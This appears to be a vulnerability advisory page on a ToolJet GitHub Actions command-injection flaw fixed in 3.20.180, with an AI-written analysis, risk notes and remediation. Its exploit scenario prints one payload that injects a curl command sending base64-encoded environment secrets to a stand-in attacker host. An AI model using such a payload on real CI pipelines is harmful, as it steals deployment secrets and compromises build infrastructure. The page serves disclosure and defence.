AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Attack is internet-reachable via GitHub PR comment requiring no authentication (AV:N, PR:N, AC:L); arbitrary CI runner command execution and deployment secret exfiltration justify C:H and I:H with scope change.

ToolJet is an open-source low-code platform for building internal tools. Prior to 3.20.180, ToolJet's render preview deployment workflow interpolates github.event.comment.body directly into a bash conditional in a run step, allowing any GitHub user who can comment on an open pull request with a deploy command to execute shell commands on the CI runner and exfiltrate deployment secrets. This issue is reported as fixed in version 3.20.180.
AnalysisAI
Command injection in ToolJet's GitHub Actions render preview deployment workflow allows any GitHub user capable of commenting on an open pull request to execute arbitrary shell commands on the CI runner and exfiltrate deployment secrets. The root cause is unsanitized interpolation of github.event.comment.body directly into a bash conditional within a run step, meaning a single malicious PR comment can pivot to full CI runner compromise. …

Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The ToolJet render preview deployment workflow must be active in the target repository and configured to fire on PR comment events containing a deploy trigger keyword. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The provided CVSS score of 4.7 (AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N) significantly understates real-world risk and contains apparent metric inconsistencies that should be flagged. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An external GitHub user identifies that ToolJet's repository triggers a render preview deployment workflow on PR comments matching a deploy command pattern. The attacker comments on any open pull request with a payload such as `deploy; curl https://attacker.example.com/x?d=$(env | base64) #`, which is expanded verbatim in the bash conditional. … |
| Remediation | Upgrade ToolJet to version 3.20.180 or later, which is the vendor-confirmed fixed release per advisory GHSA-4pm2-w6g5-28mm at https://github.com/ToolJet/ToolJet/security/advisories/GHSA-4pm2-w6g5-28mm. … Detailed patch versions, workarounds, and compensating controls in full report. |
